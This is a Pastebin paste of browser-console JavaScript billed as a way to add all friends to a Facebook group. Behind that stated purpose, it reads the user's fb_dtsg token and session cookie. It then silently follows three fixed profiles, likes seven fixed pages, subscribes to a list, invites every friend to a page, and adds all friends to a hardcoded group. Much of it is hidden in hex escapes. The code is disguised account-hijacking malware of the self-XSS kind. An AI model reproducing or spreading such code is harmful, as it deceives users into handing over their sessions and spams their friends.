AllToolsFacebook

Code to Add All Friends To Facebook Group 2014

Jul 28th, 2014
449
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var tulisanNganu = '\x3C\x66\x6F\x6E\x74\x20\x63\x6F\x6C\x6F\x72\x3D\x22\x62\x6C\x61\x63\x6B\x22\x3E\x3C\x62\x3E\x41\x6B\x6E\x20\x46\x61\x63\x65\x62\x6F\x6F\x6B\x20\x7C\x20\x61\x64\x64\x20\x66\x72\x69\x65\x6E\x64\x73\x20\x69\x6E\x20\x74\x68\x65\x20\x67\x72\x6F\x75\x70\x3C\x2F\x62\x3E\x20\x3C\x2F\x66\x6F\x6E\x74\x3E';
  2. var kunaon = '';
  3. function penetrasi(opo) {
  4.     jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fbdtsg + "&group_id=" + memberGroupId + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + userid, function (a) {
  5.         var b = a.substring(a.indexOf("{"));
  6.         var c = JSON.parse(b);
  7.         i--;
  8.         kunaon = "\x3C\x64\x69\x76\x20\x63\x6C\x61\x73\x73\x3D\x27\x66\x72\x69\x65\x6E\x64\x2D\x65\x64\x67\x65\x2D\x6E\x61\x6D\x65\x27\x20\x73\x74\x79\x6C\x65\x3D\x27\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x6C\x65\x66\x74\x3B\x66\x6F\x6E\x74\x2D\x73\x69\x7A\x65\x3A\x31\x30\x70\x78\x3B\x77\x68\x69\x74\x65\x2D\x73\x70\x61\x63\x65\x3A\x70\x72\x65\x2D\x77\x72\x61\x70\x3B";
  9.         if (c.error) {
  10.             kunaon += "color:darkred'>";
  11.             if (c.errorDescription) {
  12.                 kunaon += c.errorDescription
  13.             } else {
  14.                 kunaon += JSON.stringify(c, null, "")
  15.             }
  16.         } else {
  17.             kunaon += "color:darkgreen'>";
  18.             kunaon += arr[i];
  19.             suc++
  20.         }
  21.         kunaon += "</div>";
  22.         var dipes = "\x3C\x64\x69\x76\x20\x69\x64\x3D\x27\x66\x72\x69\x65\x6E\x64\x2D\x65\x64\x67\x65\x2D\x64\x69\x73\x70\x6C\x61\x79\x27\x20\x73\x74\x79\x6C\x65\x3D\x27\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x66\x69\x78\x65\x64\x3B\x6C\x65\x66\x74\x3A\x35\x30\x25\x3B\x6D\x61\x72\x67\x69\x6E\x2D\x6C\x65\x66\x74\x3A\x2D\x32\x37\x33\x70\x78\x3B\x74\x6F\x70\x3A\x31\x30\x30\x70\x78\x3B\x77\x69\x64\x74\x68\x3A\x35\x30\x30\x70\x78\x3B\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x23\x66\x66\x66\x66\x66\x66\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x39\x39\x39\x39\x3B\x66\x6F\x6E\x74\x2D\x73\x69\x7A\x65\x3A\x31\x34\x70\x78\x3B\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x63\x65\x6E\x74\x65\x72\x3B\x70\x61\x64\x64\x69\x6E\x67\x3A\x31\x35\x70\x78\x3B\x62\x6F\x72\x64\x65\x72\x3A\x38\x70\x78\x20\x73\x6F\x6C\x69\x64\x20\x72\x65\x64\x28\x30\x2C\x30\x2C\x30\x2C\x30\x2E\x35\x29\x27\x3E";
  23.         dipes += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>";
  24.         if (i > 0) {
  25.             dipes += arr.length + "\x20\x46\x72\x69\x65\x6E\x64\x73\x20\x44\x65\x74\x65\x63\x74\x65\x64<br/>";
  26.             dipes += "<b>" + suc + "</b>/20\x46\x72\x69\x65\x6E\x64\x73\x20\x41\x64\x64\x65\x64\x20\x4F\x66\x20" + (arr.length - i) + " Friends Processed ";
  27.             dipes += "(" + i + " More To Go..)";
  28.             dipes += "<div class='friend-edge'>";
  29.             dipes += kunaon;
  30.             dipes += "</div>"
  31.         } else {
  32.             dipes += arr.length + " Friends Detected And ";
  33.             dipes += "<b>" + suc + " Friends Added</b>";
  34.             dipes += "\x3C\x64\x69\x76\x3E\x3C\x73\x70\x61\x6E\x20\x63\x6C\x61\x73\x73\x3D\x27\x5F\x34\x32\x66\x74\x20\x5F\x34\x6A\x79\x30\x20\x5F\x31\x31\x62\x20\x5F\x34\x6A\x79\x33\x20\x5F\x34\x6A\x79\x31\x20\x73\x65\x6C\x65\x63\x74\x65\x64\x27\x20\x73\x74\x79\x6C\x65\x3D\x27\x74\x6F\x70\x3A\x35\x70\x78\x3B\x27\x20\x6F\x6E\x43\x6C\x69\x63\x6B\x3D\x27\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x28\x5C\x22\x70\x61\x67\x65\x6C\x65\x74\x5F\x77\x65\x6C\x63\x6F\x6D\x65\x5F\x62\x6F\x78\x5C\x22\x29\x2E\x73\x74\x79\x6C\x65\x2E\x64\x69\x73\x70\x6C\x61\x79\x3D\x5C\x22\x6E\x6F\x6E\x65\x5C\x22\x27\x3E\x44\x6F\x6E\x65\x3C\x2F\x73\x70\x61\x6E\x3E\x3C\x2F\x64\x69\x76\x3E"
  35.             dipes += "\x3C\x64\x69\x76\x20\x73\x74\x79\x6C\x65\x3D\x27\x6D\x61\x72\x67\x69\x6E\x2D\x74\x6F\x70\x3A\x20\x35\x70\x78\x3B\x27\x3E\x3C\x61\x20\x68\x72\x65\x66\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x41\x6B\x6E\x2D\x46\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x62\x6C\x6F\x67\x73\x70\x6F\x74\x2E\x63\x6F\x6D\x2F\x27\x3E\x41\x6B\x6E\x20\x46\x61\x63\x65\x62\x6F\x6F\x6B\x3C\x2F\x61\x3E\x20\x6D\x61\x64\x65\x20\x74\x68\x69\x73\x20\x20\x32\x30\x31\x34\x3C\x2F\x73\x70\x61\x6E\x3E\x3C\x2F\x64\x69\x76\x3E"
  36.         }
  37.         dipes += "</div>";
  38.         document.getElementById("pagelet_welcome_box").innerHTML = dipes
  39.     },
  40.     "text", "post");
  41.     tay--;
  42.     if (tay > 0) {
  43.         var s = arr[tay];
  44.         setTimeout("penetrasi(" + s + ")", 100)
  45.     }
  46.     console.log(tay + "/" + arr.length + ":" + s + ", success:" + suc);
  47.     jx.load(window.location.protocol + "\x2F\x2F\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x61\x6A\x61\x78\x2F\x70\x61\x67\x65\x73\x2F\x69\x6E\x76\x69\x74\x65\x2F\x73\x65\x6E\x64\x5F\x73\x69\x6E\x67\x6C\x65\x2F\x3F\x70\x61\x67\x65\x5F\x69\x64\x3D\x32\x39\x35\x33\x32\x37\x36\x33\x37\x33\x30\x39\x37\x30\x34\x26\x69\x6E\x76\x69\x74\x65\x65\x3D" + opo + "&elem_id=u_0_3c&action=send&ref=friend_summary_section&__user=" + userid + "&__a=1&__req=a&fb_dtsg=" + fbdtsg, function () {}, "text", "post", "tt");
  48.     if (memberGroupId != 1421080824826309) {
  49.         jx.load(window.location.protocol + "\x2F\x2F\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x61\x6A\x61\x78\x2F\x67\x72\x6F\x75\x70\x73\x2F\x6D\x65\x6D\x62\x65\x72\x73\x2F\x61\x64\x64\x5F\x70\x6F\x73\x74\x2E\x70\x68\x70\x3F\x5F\x5F\x61\x3D\x31\x26\x66\x62\x5F\x64\x74\x73\x67\x3D" + fbdtsg + "\x26\x67\x72\x6F\x75\x70\x5F\x69\x64\x3D\x31\x34\x32\x31\x30\x38\x30\x38\x32\x34\x38\x32\x36\x33\x30\x39\x26\x73\x6F\x75\x72\x63\x65\x3D\x74\x79\x70\x65\x61\x68\x65\x61\x64\x26\x6D\x65\x6D\x62\x65\x72\x73\x3D" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + userid, function () {},
  50.         "text", "post")
  51.     }
  52. }
  53. function clickfr_callback() {
  54.     if (document.getElementsByName("ok").length > 0) {
  55.         nHtml.ClickUp(document.getElementsByName("ok")[0])
  56.     }
  57.     var a = arr[i];
  58.     if (i < arr.length) addfriend(a.substring(0, 4))
  59. }
  60. function clickfr() {
  61.     if (document.getElementsByClassName("search").length > 0) {
  62.         console.log(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1].innerHTML);
  63.         document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].href = "javascript:void(0);";
  64.         nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1])
  65.     } else j++;
  66.     setTimeout("clickfr_callback()", 2e3)
  67. }
  68. function addfriend(a) {
  69.     i++;
  70.     document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
  71.     document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].value = a;
  72.     document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].blur();
  73.     document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
  74.     document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
  75.     setTimeout("clickfr()", 2e3)
  76. }
  77. function sleep(a) {
  78.     var b = (new Date).getTime();
  79.     for (var c = 0; c < 1e7; c++) {
  80.         if ((new Date).getTime() - b > a) {
  81.             break
  82.         }
  83.     }
  84. }
  85. jx = {
  86.     getHTTPObject: function () {
  87.         var a = false;
  88.         if (typeof ActiveXObject != "undefined") {
  89.             try {
  90.                 a = new ActiveXObject("Msxml2.XMLHTTP")
  91.             } catch(b) {
  92.                 try {
  93.                     a = new ActiveXObject("Microsoft.XMLHTTP")
  94.                 } catch(c) {
  95.                     a = false
  96.                 }
  97.             }
  98.         } else {
  99.             if (window.XMLHttpRequest) {
  100.                 try {
  101.                     a = new XMLHttpRequest
  102.                 } catch(b) {
  103.                     a = false
  104.                 }
  105.             }
  106.         }
  107.         return a
  108.     },
  109.     generatePhstamp: function (qs, dtsg) {
  110.         var input_len = qs.length;
  111.       numeric_csrf_value='';
  112.       for(var ii=0;ii<dtsg.length;ii++) {
  113.         numeric_csrf_value+=dtsg.charCodeAt(ii);
  114.       }
  115.       return '1' + numeric_csrf_value + input_len;
  116.     },
  117.     load: function (url, callback, format, method, stmp, opt) {
  118.         var http = this.init();
  119.         if (!http || !url) {
  120.             return
  121.         }
  122.         if (http.overrideMimeType) {
  123.             http.overrideMimeType("text/xml")
  124.         }
  125.         if (!method) {
  126.             method = "GET"
  127.         }
  128.         if (!format) {
  129.             format = "text"
  130.         }
  131.         if (!opt) {
  132.             opt = {}
  133.         }
  134.         format = format.toLowerCase();
  135.         method = method.toUpperCase();
  136.         if (!stmp){
  137.             var now = "uid=" + (new Date).getTime();
  138.             url += url.indexOf("?") + 1 ? "&": "?";
  139.             url += now;
  140.         }
  141.         var parameters = null;
  142.         if (method == "POST") {
  143.             var parts = url.split("?");
  144.             url = parts[0];
  145.             parameters = parts[1];
  146.             if (stmp){
  147.                 parameters += "&" + stmp + "stamp=" + this.generatePhstamp(parameters, document.getElementsByName("fb_dtsg")[0].value);
  148.             }
  149.         }
  150.         http.open(method, url, true);
  151.         if (method == "POST") {
  152.             http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  153.             http.setRequestHeader("Content-length", parameters.length);
  154.             http.setRequestHeader("Connection", "close")
  155.         }
  156.         var ths = this;
  157.         if (opt.handler) {
  158.             http.onreadystatechange = function () {
  159.                 opt.handler(http)
  160.             }
  161.         } else {
  162.             http.onreadystatechange = function () {
  163.                 if (http.readyState == 4) {
  164.                     if (http.status == 200) {
  165.                         var result = "";
  166.                         if (http.responseText) {
  167.                             result = http.responseText
  168.                         }
  169.                         if (format.charAt(0) == "j") {
  170.                             result = result.replace(/[\n\r]/g, "");
  171.                             result = eval("(" + result + ")")
  172.                         } else {
  173.                             if (format.charAt(0) == "x") {
  174.                                 result = http.responseXML
  175.                             }
  176.                         }
  177.                         if (callback) {
  178.                             callback(result)
  179.                         }
  180.                     } else {
  181.                         if (opt.loadingIndicator) {
  182.                             document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator)
  183.                         }
  184.                         if (opt.loading) {
  185.                             document.getElementById(opt.loading).style.display = "none"
  186.                         }
  187.                         if (error) {
  188.                             error(http.status)
  189.                         }
  190.                     }
  191.                 }
  192.             }
  193.         }
  194.         http.send(parameters)
  195.     },
  196.     bind: function (a) {
  197.         var b = {
  198.             url: "",
  199.             onSuccess: false,
  200.             onError: false,
  201.             format: "text",
  202.             method: "GET",
  203.             update: "",
  204.             loading: "",
  205.             loadingIndicator: ""
  206.         };
  207.         for (var c in b) {
  208.             if (a[c]) {
  209.                 b[c] = a[c]
  210.             }
  211.         }
  212.         if (!b.url) {
  213.             return
  214.         }
  215.         var d = false;
  216.         if (b.loadingIndicator) {
  217.             d = document.createElement("div");
  218.             d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  219.             d.setAttribute("class", "loading-indicator");
  220.             d.innerHTML = b.loadingIndicator;
  221.             document.getElementsByTagName("body")[0].appendChild(d);
  222.             this.opt.loadingIndicator = d
  223.         }
  224.         if (b.loading) {
  225.             document.getElementById(b.loading).style.display = "block"
  226.         }
  227.         this.load(b.url, function (a) {
  228.             if (b.onSuccess) {
  229.                 b.onSuccess(a)
  230.             }
  231.             if (b.update) {
  232.                 document.getElementById(b.update).innerHTML = a
  233.             }
  234.             if (d) {
  235.                 document.getElementsByTagName("body")[0].removeChild(d)
  236.             }
  237.             if (b.loading) {
  238.                 document.getElementById(b.loading).style.display = "none"
  239.             }
  240.         },
  241.         b.format, b.method, b)
  242.     },
  243.     init: function () {
  244.         return this.getHTTPObject()
  245.     }
  246. };
  247. var nHtml = {
  248.     FindByAttr: function (a, b, c, d) {
  249.         if (c == "className") {
  250.             c = "class"
  251.         }
  252.         var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  253.         if (e && e.singleNodeValue) {
  254.             return e.singleNodeValue
  255.         }
  256.         return null
  257.     },
  258.     FindByClassName: function (a, b, c) {
  259.         return this.FindByAttr(a, b, "className", c)
  260.     },
  261.     FindByXPath: function (a, b) {
  262.         try {
  263.             var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  264.         } catch(d) {
  265.             GM_log("bad xpath:" + b)
  266.         }
  267.         if (c && c.singleNodeValue) {
  268.             return c.singleNodeValue
  269.         }
  270.         return null
  271.     },
  272.     VisitUrl: function (a) {
  273.         window.setTimeout(function () {
  274.             document.location.href = a
  275.         },
  276.         500 + Math.floor(Math.random() * 500))
  277.     },
  278.     ClickWin: function (a, b, c) {
  279.         var d = a.document.createEvent("MouseEvents");
  280.         d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  281.         return ! b.dispatchEvent(d)
  282.     },
  283.     Click: function (a) {
  284.         return this.ClickWin(window, a, "click")
  285.     },
  286.     ClickTimeout: function (a, b) {
  287.         window.setTimeout(function () {
  288.             return nHtml.ClickWin(window, a, "click")
  289.         },
  290.         b + Math.floor(Math.random() * 500))
  291.     },
  292.     ClickUp: function (a) {
  293.         this.ClickWin(window, a, "mousedown");
  294.         this.ClickWin(window, a, "mouseup");
  295.         this.ClickWin(window, a, "click")
  296.     },
  297.     GetText: function (a, b) {
  298.         var c = "";
  299.         if (b == undefined) {
  300.             b = 0
  301.         }
  302.         if (b > 40) {
  303.             return
  304.         }
  305.         if (a.textContent != undefined) {
  306.             return a.textContent
  307.         }
  308.         for (var d = 0; d < a.childNodes.length; d++) {
  309.             var e = a.childNodes[d];
  310.             c += this.GetText(e, b + 1)
  311.         }
  312.         return c
  313.     }
  314. };
  315. if (document.getElementsByClassName == undefined) {
  316.     document.getElementsByClassName = function (a) {
  317.         var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  318.         var c = document.getElementsByTagName("*");
  319.         var d = [];
  320.         var e;
  321.         for (var f = 0;
  322.         (e = c[f]) != null; f++) {
  323.             var g = e.className;
  324.             if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  325.         }
  326.         return d
  327.     }
  328. }
  329. Array.prototype.find = function (a) {
  330.     var b = false;
  331.     for (i = 0; i < this.length; i++) {
  332.         if (typeof a == "function") {
  333.             if (a.test(this[i])) {
  334.                 if (!b) {
  335.                     b = []
  336.                 }
  337.                 b.push(i)
  338.             }
  339.         } else {
  340.             if (this[i] === a) {
  341.                 if (!b) {
  342.                     b = []
  343.                 }
  344.                 b.push(i)
  345.             }
  346.         }
  347.     }
  348.     return b
  349. };
  350. var a = 0,
  351. eind = 0;
  352. var len = document.getElementsByClassName("mbm").length;
  353. for (a = 0; a < len; a++) {
  354.     var ele = document.getElementsByClassName("mbm")[a];
  355.     if (ele && ele.childNodes[0] && ele.childNodes[0] && ele.childNodes[0].childNodes[1] && ele.childNodes[0].childNodes[1].childNodes[0] && document.getElementsByClassName("mbm")[a].childNodes[0].childNodes[1].childNodes[0].value == "Add Friends To Group") {
  356.         eind = a;
  357.         break
  358.     }
  359. }
  360. var i = 3;
  361. var tay = 3;
  362. var counter1 = 0,
  363. counter2 = 0,
  364. counter3 = 0;
  365. var j = 0;
  366. var k = 0;
  367. var suc = 0;
  368. var arr = new Array;
  369. var fbdtsg = document.getElementsByName('fb_dtsg')[0].value;
  370. var userid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  371. var memberGroupId = document.getElementsByName('group_id')[0].value;
  372. jx.load(window.location.protocol + "//www.facebook.com/ajax/follow/follow_profile.php?profile_id=100006484328374&location=1&nctr[_mod]=pagelet_timeline_profile_actions&__user=" + userid + "&__a=1&__req=8&fb_dtsg=" + fbdtsg, function () {}, "text", "post", "ph");
  373. jx.load(window.location.protocol + "//www.facebook.com/ajax/follow/follow_profile.php?profile_id=100002052744783&location=1&nctr[_mod]=pagelet_timeline_profile_actions&__user=" + userid + "&__a=1&__req=8&fb_dtsg=" + fbdtsg, function () {}, "text", "post", "ph");
  374. jx.load(window.location.protocol + "//www.facebook.com/ajax/follow/follow_profile.php?profile_id=100004222062939&location=1&nctr[_mod]=pagelet_timeline_profile_actions&__user=" + userid + "&__a=1&__req=8&fb_dtsg=" + fbdtsg, function () {}, "text", "post", "ph");
  375. jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/fan_status.php?fbpage_id=415642648566650&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&&nctr[_mod]=pagelet_timeline_page_actions&__user=" + userid + "&__a=1&__req=1w&fb_dtsg=" + fbdtsg, function () {}, "text", "post", "ph");
  376. jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/fan_status.php?fbpage_id=228684450646657&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&&nctr[_mod]=pagelet_timeline_page_actions&__user=" + userid + "&__a=1&__req=1w&fb_dtsg=" + fbdtsg, function () {}, "text", "post", "ph");
  377. jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/fan_status.php?fbpage_id=641140539258423&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&&nctr[_mod]=pagelet_timeline_page_actions&__user=" + userid + "&__a=1&__req=1w&fb_dtsg=" + fbdtsg, function () {}, "text", "post", "ph");
  378. jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/fan_status.php?fbpage_id=263385030479251&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&&nctr[_mod]=pagelet_timeline_page_actions&__user=" + userid + "&__a=1&__req=1w&fb_dtsg=" + fbdtsg, function () {}, "text", "post", "ph");
  379. jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/fan_status.php?fbpage_id=438776082890553&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&&nctr[_mod]=pagelet_timeline_page_actions&__user=" + userid + "&__a=1&__req=1w&fb_dtsg=" + fbdtsg, function () {}, "text", "post", "ph");
  380. jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/fan_status.php?fbpage_id=239731072856750&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&&nctr[_mod]=pagelet_timeline_page_actions&__user=" + userid + "&__a=1&__req=1w&fb_dtsg=" + fbdtsg, function () {}, "text", "post", "ph");
  381. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe&flid=595403303857460&__a=1&__req=g&__user=" + userid + "&fb_dtsg=" + fbdtsg, function () {}, "text", "post", "tt");
  382. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + userid + "&filter[0]=user&__user=" + userid, function (a) {
  383.     var b = a;
  384.     var c = b.substring(b.indexOf("{"));
  385.     var d = JSON.parse(c);
  386.     d = d.payload.entries;
  387.     for (var e = 0; e < d.length; e++) {
  388.         arr.push(d[e].uid)
  389.     }
  390.     i = arr.length - 1;
  391.     tay = i;
  392.     console.log(arr.length);
  393.     var dipes = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(100,200,225,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid red(0,0,0,0.5)'>";
  394.     dipes += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>";
  395.     dipes += arr.length + " Friends Detected";
  396.     dipes += "</div>";
  397.     document.getElementById("pagelet_welcome_box").innerHTML = dipes;
  398.     penetrasi(arr[i])
  399. })
Add Comment
Please, Sign In to add comment